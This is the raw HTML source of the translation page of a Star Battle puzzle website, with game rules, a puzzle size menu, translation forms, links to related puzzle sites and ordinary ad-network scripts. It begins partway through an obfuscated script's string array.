K1WPSp','WRNdSXFcQq','eSk2dCo1','W48vWPCh','gSoFDHa','pSo7eCoU','b8kdBGW','oZ4IEa','ldWrjW','i8oFqCoz','umoveSoD','DCkqWP7cVG','kKi5ba','ArBdT8kX','cmkDf8kt','WQhdL8omya','WQDfW5xdKW','bemUWO/cTeBcTZNcLt3cQMVdVq','dgWGxG','vrTQW5O','zxrz','W70MWOaA','DM5jDCkaWP7dOI/cR8k1WRPTW74','WR3dMCokiG','WO49W7nk','pdKaFa','W5pdSNJdUa','i8ohW7hcJa','EConWPdcPG','EqONCW','EmkgWPlcTG','osnpEq','uG9SW4K','w01GW5i','W4KmW5ah','WPzTx8ko','WOj2W78g','d8o9xCk3WR7cVIRdJmoRW4O','oSkDWQve','u8o2W4BdRa','gZLIea','D8ksWOFcQW','mtSvCq','eSoEW4aB','W4NdHNa8','nCo3gCoL','itiaCW','WRupWORcMq','WRiQW6/dG8ohWOrjEmkmW7LWW6a','W4LwW7pcHW','wHSVW58','W7uOWPCA','WRtcHdP9','wCkGfSkP','tSk3dq','fSkuzbC','W7zGeuy','W4mCW5zi','amodW4DY','d2y5Ca','W7jPWPCu','BSo/WQhdJ2r7h8o7W53dLCoqE8kN','WR7dQXO','WRRdLSoaAq','t8koc8om','WOyDfCoh','W5RcON92','eColm0W','pdyf','WPv8t8kU'];I=function(){return C;};return I();}})();</script>
60
61        
62
63
64                
65                    <link rel="preconnect" href="https://a.pub.network/" crossorigin />
66            <link rel="preconnect" href="https://b.pub.network/" crossorigin />
67            <link rel="preconnect" href="https://c.pub.network/" crossorigin />
68            <link rel="preconnect" href="https://d.pub.network/" crossorigin />
69            <link rel="preconnect" href="https://c.amazon-adsystem.com" crossorigin />
70            <link rel="preconnect" href="https://s.amazon-adsystem.com" crossorigin />
71            <link rel="preconnect" href="https://btloader.com/" crossorigin />
72            <link rel="preconnect" href="https://api.btloader.com/" crossorigin />
73            <link rel="preconnect" href="https://cdn.confiant-integrations.net" crossorigin />
74            <link rel="stylesheet" href="https://a.pub.network/puzzle-star-battle-com/cls.css" />
75
76            
76<script data-cfasync="false" type="text/javascript">
77            var freestar = freestar || {};
78            freestar.queue = freestar.queue || [];
79            freestar.config = freestar.config || {};
80            freestar.config.enabled_slots = [];
81            freestar.initCallback = function () { (freestar.config.enabled_slots.length === 0) ? freestar.initCallbackCalled = false : freestar.newAdSlots(freestar.config.enabled_slots) }
82            </script>
82
83
84            
84<script src="https://a.pub.network/puzzle-star-battle-com/pubfig.min.js" data-cfasync="false" async></script>
84
85        
86        
87        
88
89
90    
91    
91<script language="javascript" src="https://d3lj2s469wtjp0.cloudfront.net/build/js/public/new/star-battle-44772b4317.js"></script>
91
92
93
94    
95</head>
96<body class="
97    wideSS        expanded    rside                "
98    mvvm-class="lefthanded:Settings.get('global.left-handed')|colorblind:Settings.get('global.color-blind')|pinnedControls:Settings.get('global.pinned-controls-top')">
99
100<script type="text/javascript"> window.google_analytics_uacct = "UA-113709-22"; </script>
100
101
102<div id="Side">
103        <div class="content">
104        <h1><a href="/">Star Battle</a></h1>
105        <p class="langBar">
106            <a href="//bg.puzzle-star-battle.com" title="Звездна Битка - Български (Bulgarian)" class="sprite sprite-bg"></a><a href="//ru.puzzle-star-battle.com" title="Звёздный бой - Русский (Russian)" class="sprite sprite-ru"></a><a href="//pl.puzzle-star-battle.com" title="Gwiezdna Bitwa - Polski (Polish)" class="sprite sprite-pl"></a><a href="//ja.puzzle-star-battle.com" title="スターバトル - 日本語 (Japanese)" class="sprite sprite-ja"></a><a href="//it.puzzle-star-battle.com" title="Star Battle - Italiano (Italian)" class="sprite sprite-it"></a><a href="//es.puzzle-star-battle.com" title="Star Battle - Español (Spanish)" class="sprite sprite-es"></a><a href="//zh.puzzle-star-battle.com" title="星之戰 - 繁體中文 (Chinese Trad.)" class="sprite sprite-zh"></a><a href="//cn.puzzle-star-battle.com" title="星之战 - Chinese (Simp.)" class="sprite sprite-cn"></a><a href="//de.puzzle-star-battle.com" title="Kampf der Sterne - Deutsch (German)" class="sprite sprite-de"></a><a href="//fr.puzzle-star-battle.com" title="Star Battle - Français (French)" class="sprite sprite-fr"></a><a href="//nl.puzzle-star-battle.com" title="Star Battle - Nederlands (Dutch)" class="sprite sprite-nl"></a><a href="//tr.puzzle-star-battle.com" title="Yıldız Savaşı - Türkçe (Turkish)" class="sprite sprite-tr"></a><a href="//cz.puzzle-star-battle.com" title="Hvězdná bitva - Česky (Czech)" class="sprite sprite-cz"></a><a href="//ko.puzzle-star-battle.com" title="스타 배틀 - 한국어 (Korean)" class="sprite sprite-ko"></a><a href="//sr.puzzle-star-battle.com" title="Звездана битка - Српски (Serbian)" class="sprite sprite-sr"></a><a href="//si.puzzle-star-battle.com" title="Vojna Zvezd - slovenščina (Slovenian)" class="sprite sprite-si"></a><a href="//br.puzzle-star-battle.com" title="Star Battle - Português Brasileiro" class="sprite sprite-br"></a><a href="//pt.puzzle-star-battle.com" title="Batalha Estrelar - Português (Portuguese)" class="sprite sprite-pt"></a><a href="//sv.puzzle-star-battle.com" title="Star Battle - Svenska (Swedish)" class="sprite sprite-sv"></a><a href="//vi.puzzle-star-battle.com" title="Tinh Trận - Tiếng Việt (Vietnamese)" class="sprite sprite-vi"></a>            <br clear="all" />
107            <a style="line-height:22px" href="/translate.php">Translate this site.</a> <br />
108            <br clear="all" />
109
110                    </p>
111        
112        <div style="clear:both"></div>
113        <div id="rules" style="display:block">
114            
115		<p><b>Star Battle</b> (also known as <b>Queens</b>) is a logic puzzle with simple rules and challenging solutions.</p>
116		<p>
117			<span class="red"><b>The rules</b></span> of Star Battle are simple:<br />
118            You have to place stars on the grid according to the rules:<br />
119            - 2 stars cannot be adjacent horizontally, vertically or diagonally.<br />
120            - For <strong>1★</strong> puzzles, you have to place 1 star on each row, column and shape.<br />
121            - For <strong>2★</strong> puzzles, the stars per row, column and shape must be 2 etc.<br /><br />
122            - "Shapeless" star battle use the same rules without the shape restraint.<br />
123		</p>
124
125                        <i class="yt-play"></i>
126            <a href="https://www.youtube.com/embed/videoseries?list=PLH_elo2OIwaAwRyitFVYF6bNKuRpAc_03" target="_blank" title="Video Tutorial" data-dialog="iframe">
126Video Tutorial</a>
127            
128            <div style="float:right">
129                <a class="red" href="#" onclick="return switchRules(0)">Hide the rules</a>
130            </div>
131            <div style="clear:both"></div>
132        </div>
133        <div id="norules" style="display:none">
134            <a class="red" href="#" onclick="return switchRules(1)">Show the rules</a>
135        </div>
136
137        <ul id="menuSizes">
138        <li  mvvm-class="icon-star:User.achievements['star-battle']['5x5-normal'].solvecons_100"><a class="on" href="/">5x5/1★ Normal Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['6x6-normal'].solvecons_100"><a class="" href="/?size=1">6x6/1★ Normal Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['6x6-hard'].solvecons_100"><a class="" href="/?size=2">6x6/1★ Hard Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['8x8-normal'].solvecons_100"><a class="" href="/?size=3">8x8/1★ Normal Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['8x8-hard'].solvecons_100"><a class="" href="/?size=4">8x8/1★ Hard Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['10x10-normal'].solvecons_100"><a class="" href="/?size=5">10x10/2★ Normal Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['10x10-hard'].solvecons_100"><a class="" href="/?size=6">10x10/2★ Hard Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['14x14-normal'].solvecons_100"><a class="" href="/?size=7">14x14/3★ Normal Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['14x14-hard'].solvecons_100"><a class="" href="/?size=8">14x14/3★ Hard Star Battle</a></li><li  mvvm-class="icon-ok:User.achievements['star-battle']['daily'].solved_specials.includes(2562)"><a class="" href="/?size=9">4★ Special Daily Star Battle</a></li><li  mvvm-class="icon-ok:User.achievements['star-battle']['weekly'].solved_specials.includes(367)"><a class="" href="/?size=10">5★ Special Weekly Star Battle</a></li><li  mvvm-class="icon-ok:User.achievements['star-battle']['monthly'].solved_specials.includes(85)"><a class="" href="/?size=11">6★ Special Monthly Star Battle</a></li><li class="no-style"></li><li  mvvm-class="icon-star:User.achievements['star-battle']['6x6-shapeless'].solvecons_100"><a class="" href="/?size=12">6x6/1★ Shapeless Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['8x8-shapeless'].solvecons_100"><a class="" href="/?size=13">8x8/1★ Shapeless Star Battle</a></li><li  mvvm-class="icon-star:User.achievements['star-battle']['10x10-shapeless'].solvecons_100"><a class="" href="/?size=14">10x10/2★ Shapeless Star Battle</a></li>        </ul>
139
140        <div id="menuAdditional">
141                        <p align="center">
142                <a class="red" href="/patron.php">Become a Patron</a>
143            </p>
144                        <p align="center">
145                <a href="/feedback.php">Feedback</a>
146                | <a href="/specific.php">Specific puzzle</a>
147                            </p>
148
149            <p align="center">
150                                <a href="/print.php">Mass Print</a> |
151                                <a href="/hall.php">Hall of Fame</a>
152                | <a href="/stats.php">Statistics</a>
153
154
155            </p>
156            <p align="center">
157                <a href="/privacy-policy.php">Privacy Policy</a>
158            </p>
159                        <div id="mspa-footer-html-id" style="display:flex;justify-content:center;text-align:center"></div>
160                        <div class="app-links">
161                <a href="https://apps.apple.com/us/app/puzzlegym/id6768370206" target="_blank" rel="noopener" onclick="if (window.gtag) gtag('event', 'app_store_click_ios', {placement: 'side'});"><img src="https://d3lj2s469wtjp0.cloudfront.net/art/badges/GetOnAppleAppStore.svg" width="134" height="40" alt="Download on the Apple App Store" /></a>
162                <a href="https://play.google.com/store/apps/details?id=com.puzzlegym.app&referrer=utm_source%3Dwww.puzzle-star-battle.com%26utm_medium%3Dwebsite_badge%26utm_campaign%3Dside" target="_blank" rel="noopener" onclick="if (window.gtag) gtag('event', 'app_store_click_android', {placement: 'side'});"><img src="https://d3lj2s469wtjp0.cloudfront.net/art/badges/GetItOnGooglePlay.svg" width="134" height="40" alt="Get it on Google Play" /></a>
163            </div>
164                        
165            <br />
166                    </div>
167
168        <div class="clear"></div>
169
170            
171    </div>
172
173
174    <div id="SocialMenu">
175                <a mvvm-show="!User.logged" class="btn" id="menu-button-user" href="/partials/form.login.php" aria-label="Login" data-dialog="ajax" style="display:block"><i class="icon icon-user"></i></a>
176
177        <a mvvm-show="User.logged" class="btn" id="user-logged-badge" href="https://www.puzzles-mobile.com/profile" onclick="User.loadFromAjax(1)" data-dialog="ajax" style="display:none">
178            <i id="user-cert" class="icon icon-certificate"></i>
179            <span mvvm-text="User.level" class="number"></span>
180            <span class="progress-holder"><span class="progress"></span></span>
181        </a>
182        
183
184        <a class="btn r f" href="https://www.facebook.com/PuzzleTeamClub/" target="_blank" title="Facebook Club" ><i class="icon icon-facebook"></i></a>
185        <a class="btn r t" href="https://twitter.com/PuzzleTeamClub" target="_blank" title="Twitter Channel" ><i class="icon icon-twitter"></i></a>
186        <a class="btn r" href="https://www.youtube.com/channel/UCiU0kY99jtY-iQpzulYk8JQ" target="_blank" title="YouTube Channel" ><i class="icon icon-youtube-play"></i></a>
187        <a class="btn r" href="https://discord.gg/YJp77jFzWv" target="_blank" title="Discord Server" ><i class="icon icon-discord-logo-white"></i></a>
188    </div>
189    <div class="clear"></div>
190    <div id="SideClose" class="noprint" onclick="switchSide(0)"></div>
191    <div id="SideOpen" class="noprint" onclick="switchSide(1)"></div>
192</div>
193
194
195<div id="MainContainer">
196            <div id="p927c49cf1b"><div id="btIn927c49cf1b">
197            <div class="noprint" id="bannerTop">
198                
199                                    <div align="center" data-freestar-ad="__320x100 __970x90" id="puzzle-star-battle-com_leaderboard_atf"></div>
200                
201                
202                
203
204            </div>
205            <div class="ad-options">
206                <a href="#" onclick="return pinAds();" class="pin-ads">Pin Ads</a>
207                <a href="/patron.php" class="disable-ads">Remove Ads</a> |
208                <a href="javascript: reportAdsInfo();" class="disable-ads">Report This Ad</a>
209            </div>
210        </div></div>
211    <div id="bannerTopSpacer927c49cf1b" class="noprint">
212    </div>
213    
214    <div id="pageContent">
215        <div id="controlsHolderSpacer"></div>
216
217                <a href="/" id="logoLink"><img src="https://d3lj2s469wtjp0.cloudfront.net/images/star-battle-logo.png" width="131.5" height="26.5" border="0" alt="Star Battle" /></a>
218        <div class="onlyprint"><p></p></div>
219
220        <div>
221            <div id="ajaxResponse" class="noprint">
222                                
223                
224                </div>
225
226                        <br /><br /><br /><div class="pageContent">
227	<h1>New translation</h1>
228
229	<form class="specific-form" method="post" action="translate.php">
230			<input type="hidden" name="NewTranslation" value="1" />
231
232			<div class="mb-3">
233					<label for="source"><strong>Source language</strong></label>
234					<select name="source" id="source" class="text-field__select">
235																	<option selected value="en">en</option>
236												<option  value="bg">bg</option>
237												<option  value="ru">ru</option>
238												<option  value="pl">pl</option>
239												<option  value="ja">ja</option>
240												<option  value="it">it</option>
241												<option  value="es">es</option>
242												<option  value="zh">zh</option>
243												<option  value="cn">cn</option>
244												<option  value="de">de</option>
245												<option  value="fr">fr</option>
246												<option  value="nl">nl</option>
247												<option  value="tr">tr</option>
248												<option  value="cz">cz</option>
249												<option  value="ko">ko</option>
250												<option  value="sr">sr</option>
251												<option  value="si">si</option>
252												<option  value="br">br</option>
253												<option  value="pt">pt</option>
254												<option  value="sv">sv</option>
255												<option  value="vi">vi</option>
256										</select>
257			</div>
258
259			<div class="text-field text-field--has-label mb-3">
260					<input class="text-field__input" type="text" name="toLangAbbr" value="" placeholder="Translation language 2 letter abbreviation (de)" />
261					<label class="text-field__label">Translation language 2 letter abbreviation (de)</label>
262			</div>
263
264			<div class="text-field text-field--has-label mb-3">
265					<input class="text-field__input" type="text" name="toLangFull" value="" placeholder="Translation language name in that language (Deutsch)" />
266					<label class="text-field__label">Translation language name in that language (Deutsch)</label>
267			</div>
268
269			<div class="text-field text-field--has-label mb-3">
270					<input class="text-field__input" type="text" name="translator" value="" placeholder="Your name or nickname (optional - for credit)" />
271					<label class="text-field__label">Your name or nickname (optional - for credit)</label>
272			</div>
273
274			<div class="text-field text-field--has-icon-start text-field--has-label mb-3">
275					<puzzle-icon class="text-field__icon-start" name="mail-outline" size="small"></puzzle-icon>
276					<input class="text-field__input" type="email" name="email" value="" placeholder="Email" />
277					<label class="text-field__label">Email</label>
278			</div>
279
280			<puzzle-button type="submit" variant="accent" class="w-full">Continue</puzzle-button>
281	</form>
282
283	<h1 style="margin-top: 40px">Continue or correct your translation</h1>
284
285	<form class="specific-form" method="post" action="translate.php">
286			<input type="hidden" name="EditTranslation" value="1" />
287
288			<div class="text-field text-field--has-label mb-3">
289					<input class="text-field__input" type="text" name="code" value="" placeholder="Enter the code here" />
290					<label class="text-field__label">Enter the code here</label>
291			</div>
292
293			<puzzle-button type="submit" variant="accent" class="w-full">Continue</puzzle-button>
294	</form>
295</div><br /><br /><br />            
296            <div class="noprint clear" id="moreGamesBnr">
297                <p>
298                    <b>More Logic Puzzles:</b>&nbsp;
299                    <a href="javascript:;" mvvm-show="!Settings.get('global.hide-more-games')" onclick="Settings.set('global.hide-more-games', 1);MVVM.apply();">hide</a>
300                    <a href="javascript:;" mvvm-show="Settings.get('global.hide-more-games')" onclick="Settings.set('global.hide-more-games', 0);MVVM.apply();">show</a>
301                </p>
302                <div id="moreGamesLinks" mvvm-show="!Settings.get('global.hide-more-games')">
303                    
303<script>$('#moreGamesLinks').toggle(Settings.get('global.hide-more-games'))</script>
303
304
305                    <div class="text-field text-field--has-icon-start search-game-field">
306                        <puzzle-icon class="text-field__icon-start" name="search" size="small"></puzzle-icon>
307                        <input type="text" class="text-field__input" id="searchGame" placeholder="Search for a puzzle..." onkeyup="filterPuzzles(this.value); toggleSearchClear(this);" />
308                        <puzzle-button class="text-field__action text-field__action--hidden" id="clearSearch" variant="regular-subtle" size="small" icon="cancel" icon-size="x-small" title="Clear" onmousedown="event.preventDefault()" onclick="clearGameSearch()"></puzzle-button>
309                    </div>
310                <a class="banner lollipops  new" href="//www.puzzle-lollipops.com/" title="Lollipops" ><span>Lollipops</span></a><a class="banner kurodoko " href="//www.puzzle-kurodoko.com/" title="Kurodoko" ><span>Kurodoko</span></a><a class="banner binairo-plus  " href="//www.puzzle-binairo.com/binairo-plus-6x6-easy/" title="Binairo+" ><span>Binairo+</span></a><a class="banner yin-yang " href="//www.puzzle-yin-yang.com/" title="Yin-Yang" ><span>Yin-Yang</span></a><a class="banner chess  " href="//www.puzzle-chess.com/chess-ranger-4/" title="Chess Puzzles" ><span>Chess Puzzles</span></a><a class="banner thermometers " href="//www.puzzle-thermometers.com/" title="Thermometers" ><span>Thermometers</span></a><a class="banner norinori " href="//www.puzzle-norinori.com/" title="Norinori" ><span>Norinori</span></a><a class="banner mosaic  " href="//www.puzzle-minesweeper.com/mosaic-5x5-easy/" title="Mosaic" ><span>Mosaic</span></a><a class="banner minesweeper  " href="//www.puzzle-minesweeper.com/minesweeper-5x5-easy/" title="Minesweeper" ><span>Minesweeper</span></a><a class="banner slant " href="//www.puzzle-slant.com/" title="Slant" ><span>Slant</span></a><a class="banner lits " href="//www.puzzle-lits.com/" title="LITS" ><span>LITS</span></a><a class="banner galaxies " href="//www.puzzle-galaxies.com/" title="Galaxies" ><span>Galaxies</span></a><a class="banner tents " href="//www.puzzle-tents.com/" title="Tents" ><span>Tents</span></a><a class="banner battleships " href="//www.puzzle-battleships.com/" title="Battleships" ><span>Battleships</span></a><a class="banner pipes " href="//www.puzzle-pipes.com/" title="Pipes" ><span>Pipes</span></a><a class="banner hitori " href="//www.puzzle-hitori.com/" title="Hitori" ><span>Hitori</span></a><a class="banner heyawake " href="//www.puzzle-heyawake.com/" title="Heyawake" ><span>Heyawake</span></a><a class="banner shingoki " href="//www.puzzle-shingoki.com/" title="Shingoki" ><span>Shingoki</span></a><a class="banner masyu " href="//www.puzzle-masyu.com/" title="Masyu" ><span>Masyu</span></a><a class="banner stitches " href="//www.puzzle-stitches.com/" title="Stitches" ><span>Stitches</span></a><a class="banner aquarium " href="//www.puzzle-aquarium.com/" title="Aquarium" ><span>Aquarium</span></a><a class="banner tapa " href="//www.puzzle-tapa.com/" title="Tapa" ><span>Tapa</span></a><a class="banner star-battle " href="//www.puzzle-star-battle.com/" title="Star Battle" ><span>Star Battle</span></a><a class="banner kakurasu " href="//www.puzzle-kakurasu.com/" title="Kakurasu" ><span>Kakurasu</span></a><a class="banner skyscrapers " href="//www.puzzle-skyscrapers.com/" title="Skyscrapers" ><span>Skyscrapers</span></a><a class="banner futoshiki  " href="//www.puzzle-futoshiki.com/futoshiki-4x4-easy/" title="Futoshiki" ><span>Futoshiki</span></a><a class="banner renzoku  " href="//www.puzzle-futoshiki.com/renzoku-4x4-easy/" title="Renzoku" ><span>Renzoku</span></a><a class="banner words  " href="//www.puzzle-words.com/boggle-4x4/" title="Word search games" ><span>Word search games</span></a><a class="banner shakashaka " href="//www.puzzle-shakashaka.com/" title="Shakashaka" ><span>Shakashaka</span></a><a class="banner kakuro " href="//www.puzzle-kakuro.com/" title="Kakuro" ><span>Kakuro</span></a><a class="banner jigsaw-sudoku " href="//www.puzzle-jigsaw-sudoku.com/" title="Jigsaw Sudoku" ><span>Jigsaw Sudoku</span></a><a class="banner killer-sudoku " href="//www.puzzle-killer-sudoku.com/" title="Killer Sudoku" ><span>Killer Sudoku</span></a><a class="banner binairo  " href="//www.puzzle-binairo.com/binairo-6x6-easy/" title="Binairo" ><span>Binairo</span></a><a class="banner nonograms " href="//www.puzzle-nonograms.com/" title="Nonograms" ><span>Nonograms</span></a><a class="banner loop " href="//www.puzzle-loop.com/" title="Slitherlink" ><span>Slitherlink</span></a><a class="banner sudoku " href="//www.puzzle-sudoku.com/" title="Sudoku" ><span>Sudoku</span></a><a class="banner light-up " href="//www.puzzle-light-up.com/" title="Light Up" ><span>Light Up</span></a><a class="banner bridges " href="//www.puzzle-bridges.com/" title="Hashi" ><span>Hashi</span></a><a class="banner shikaku " href="//www.puzzle-shikaku.com/" title="Shikaku" ><span>Shikaku</span></a><a class="banner nurikabe " href="//www.puzzle-nurikabe.com/" title="Nurikabe" ><span>Nurikabe</span></a><a class="banner dominosa " href="//www.puzzle-dominosa.com/" title="Dominosa" ><span>Dominosa</span></a>                </div>
311
312                <div class="noprint date">2026-09-29 04:15:24</div>
313            </div>
314
315
316        </div>
317        <div class="onlyprint sitehost">www.puzzle-star-battle.com</div>
318        <div class="noprint">
319            <noscript>
320                You need to have your javascript switched on in order to play the game online. You can print a copy however.            </noscript>
321        </div>
322
323    </div>
324
325
326</div>
327
328
329        <div id="M927c49cf1b">
330        <div id="bannerSide">
331            
332                            <div align="center" data-freestar-ad="__160x600" class="side-rail" id="puzzle-star-battle-com_siderail_r
332ight_160x600"></div>
333                <div align="center" data-freestar-ad="__300x250" class="side-rail-wide" id="puzzle-star-battle-com_medrec_right"></div>
334                <div align="center" data-freestar-ad="__300x600" class="side-rail-wide" id="puzzle-star-battle-com_siderail_right_300x600"></div>
335                
335<script type="text/javascript" data-cfasync="false">
336                    $( document ).ready(function() {
337                        freestar.config.enabled_slots.push({ placementName: "puzzle-star-battle-com_leaderboard_atf", slotId: "puzzle-star-battle-com_leaderboard_atf" });
338                        if ($('.side-rail').css('display') == 'block') freestar.config.enabled_slots.push({ placementName: "puzzle-star-battle-com_siderail_right_160x600", slotId: "puzzle-star-battle-com_siderail_right_160x600" });
339                        if ($('.side-rail-wide').css('display') == 'block') {
340                            freestar.config.enabled_slots.push({ placementName: "puzzle-star-battle-com_medrec_right", slotId: "puzzle-star-battle-com_medrec_right" });
341                            freestar.config.enabled_slots.push({ placementName: "puzzle-star-battle-com_siderail_right_300x600", slotId: "puzzle-star-battle-com_siderail_right_300x600" });
342                        }
343                    });
344                </script>
344
345            
346            
347            
348
349        </div>
350
351
352        <a href="/patron.php">Remove Ads</a> |
353        <a href="javascript: reportAdsInfo();" >Report This Ad</a>
354        <div id="bannerSideSpacer"></div>
355
356    </div>
357    
358
359
360<script type="text/javascript">
361</script>
361
362
363<script type="text/javascript">
364    var mobile_host = 'www.puzzles-mobile.com';
365    $( document ).ready(function() { MVVM.apply(); });
366            User.loadFromStorage();
367                if (readCookie('fe') == null) {
368            User.loadFromAjax();
369            createCookie('fe', 1, 1);
370        }
371            </script>
371
372
373
374
375
376<div class="dialog-overlay" id="dialogOverlay">
377    <div class="dialog" id="dialog" role="dialog">
378        <div class="dialog-header">
379            <h2 class="dialog-title"></h2>
380            <puzzle-button class="dialog-close" id="closeDialog" variant="regular-subtle" icon="clear" assist-label="Close dialog"></puzzle-button>
381        </div>
382        <div class="dialog-content"></div>
383    </div>
384</div>
385
386</body>
387</html>

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.